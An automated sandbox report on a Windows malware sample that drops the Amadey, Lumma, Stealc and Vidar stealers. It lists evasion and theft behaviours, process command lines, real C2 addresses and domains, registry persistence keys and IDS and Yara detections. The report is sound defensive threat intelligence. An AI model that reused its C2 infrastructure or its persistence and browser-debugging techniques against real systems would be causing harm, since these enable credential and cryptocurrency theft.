Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1549650
MD5:	1f851e1840e1a5a45d8c21630061cfc7
SHA1:	ea05edf1430b5cfb312f07ce13314ac4d7f61bf8
SHA256:	259b76b23a393bbe38478a12f7df76eb71b676a0a0b6c1bb8f3085c5f4e6b461
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1F851E1840E1A5A45D8C21630061CFC7)

skotes.exe (PID: 7708 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1F851E1840E1A5A45D8C21630061CFC7)

skotes.exe (PID: 7684 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F851E1840E1A5A45D8C21630061CFC7)

skotes.exe (PID: 7692 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1F851E1840E1A5A45D8C21630061CFC7)

06339d0580.exe (PID: 8044 cmdline: "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe" MD5: 984C35EEA09867A632CC39215473E64B)

2bbe886987.exe (PID: 7888 cmdline: "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe" MD5: 47BD0F65BDD541918D45ECDDC51E18B3)

chrome.exe (PID: 1372 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3764 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5820 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,7716630542487590331,11907204266524124684,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 5160 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJEHJKJEBGH.exe (PID: 5612 cmdline: "C:\Users\user\DocumentsJEHJKJEBGH.exe" MD5: 1F851E1840E1A5A45D8C21630061CFC7)

skotes.exe (PID: 6820 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1F851E1840E1A5A45D8C21630061CFC7)

23e9bcc0a0.exe (PID: 1968 cmdline: "C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe" MD5: C12AB1B32E3CF94C08F7C05CF2EE1128)

06339d0580.exe (PID: 4816 cmdline: "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe" MD5: 984C35EEA09867A632CC39215473E64B)

2bbe886987.exe (PID: 2052 cmdline: "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe" MD5: 47BD0F65BDD541918D45ECDDC51E18B3)

msedge.exe (PID: 5760 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8556 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8572 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8656 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5112 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8664 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7304 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3060 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

23e9bcc0a0.exe (PID: 9092 cmdline: "C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe" MD5: C12AB1B32E3CF94C08F7C05CF2EE1128)

06339d0580.exe (PID: 2476 cmdline: "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe" MD5: 984C35EEA09867A632CC39215473E64B)

2bbe886987.exe (PID: 9008 cmdline: "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe" MD5: 47BD0F65BDD541918D45ECDDC51E18B3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["scriptyprefej.store", "necklacedmny.store", "fadehairucw.store", "presticitpo.store", "crisiwarny.store", "navygenerayk.store", "founpiuer.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.3052944187.00000000082F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.3372681465.000000000149E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.3403739193.0000000005DE1000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.3292954731.00000000081B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.3038780954.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2894254815.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2892935621.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2914827071.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.3117476776.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.3143240349.0000000000B22000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2878923778.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.3096329749.0000000005190000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2909600994.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2893604716.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.3143174340.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.3038308600.0000000000B16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.3359791803.0000000000751000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2892687304.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.3359810844.0000000000751000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.3395872833.0000000005BF1000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.3117252547.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2924440913.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.3040588528.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2892851979.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 06339d0580.exe PID: 8044	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 06339d0580.exe PID: 8044	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 8044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 8044	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 8044	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2bbe886987.exe PID: 7888	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 2bbe886987.exe PID: 7888	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2bbe886987.exe PID: 7888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2bbe886987.exe PID: 7888	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 06339d0580.exe PID: 4816	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 06339d0580.exe PID: 4816	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 4816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 4816	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 4816	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2bbe886987.exe PID: 2052	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2bbe886987.exe PID: 2052	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 06339d0580.exe PID: 2476	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 06339d0580.exe PID: 2476	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 46 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.2bbe886987.exe.750000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
16.2.06339d0580.exe.56bf179.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
21.2.06339d0580.exe.5516f91.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
16.2.06339d0580.exe.5de0000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.skotes.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.2bbe886987.exe.750000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
21.2.06339d0580.exe.5bf0000.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.780000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.file.exe.3c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\06339d0580.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe, ParentProcessId: 7888, ParentProcessName: 2bbe886987.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1372, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\06339d0580.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:51:15.812639+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49766	TCP
2024-11-05T20:51:53.700843+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.6	49982	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:13.347954+0100	2028371	3	Unknown Traffic	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:14.301649+0100	2028371	3	Unknown Traffic	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:16.047422+0100	2028371	3	Unknown Traffic	192.168.2.6	50016	104.21.5.155	443	TCP
2024-11-05T20:52:17.420287+0100	2028371	3	Unknown Traffic	192.168.2.6	50017	104.21.5.155	443	TCP
2024-11-05T20:52:19.223535+0100	2028371	3	Unknown Traffic	192.168.2.6	50018	104.21.5.155	443	TCP
2024-11-05T20:52:20.955976+0100	2028371	3	Unknown Traffic	192.168.2.6	50022	104.21.5.155	443	TCP
2024-11-05T20:52:22.991451+0100	2028371	3	Unknown Traffic	192.168.2.6	50023	104.21.5.155	443	TCP
2024-11-05T20:52:26.340300+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	104.21.5.155	443	TCP
2024-11-05T20:52:28.901165+0100	2028371	3	Unknown Traffic	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:30.334218+0100	2028371	3	Unknown Traffic	192.168.2.6	50044	104.21.5.155	443	TCP
2024-11-05T20:52:32.450533+0100	2028371	3	Unknown Traffic	192.168.2.6	50053	104.21.5.155	443	TCP
2024-11-05T20:52:34.228250+0100	2028371	3	Unknown Traffic	192.168.2.6	50055	104.21.5.155	443	TCP
2024-11-05T20:52:36.025188+0100	2028371	3	Unknown Traffic	192.168.2.6	50059	104.21.5.155	443	TCP
2024-11-05T20:52:42.574338+0100	2028371	3	Unknown Traffic	192.168.2.6	50078	104.21.5.155	443	TCP
2024-11-05T20:52:45.010412+0100	2028371	3	Unknown Traffic	192.168.2.6	50108	104.21.5.155	443	TCP
2024-11-05T20:52:49.324759+0100	2028371	3	Unknown Traffic	192.168.2.6	50145	104.21.5.155	443	TCP
2024-11-05T20:52:56.094565+0100	2028371	3	Unknown Traffic	192.168.2.6	50171	104.21.5.155	443	TCP
2024-11-05T20:52:57.464330+0100	2028371	3	Unknown Traffic	192.168.2.6	50174	104.21.5.155	443	TCP
2024-11-05T20:52:59.336404+0100	2028371	3	Unknown Traffic	192.168.2.6	50178	104.21.5.155	443	TCP
2024-11-05T20:53:00.945284+0100	2028371	3	Unknown Traffic	192.168.2.6	50180	104.21.5.155	443	TCP
2024-11-05T20:53:03.594653+0100	2028371	3	Unknown Traffic	192.168.2.6	50183	104.21.5.155	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T20:52:13.558413+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50012	104.21.5.155	443	TCP
2024-11-05T20:52:15.035710+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50014	104.21.5.155	443	TCP
2024-11-05T20:52:27.220653+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50033	104.21.5.155	443	TCP
2024-11-05T20:52:29.247531+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50038	104.21.5.155	443	TCP
2024-11-05T20:52:31.049251+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50044	104.21.5.155	443	TCP
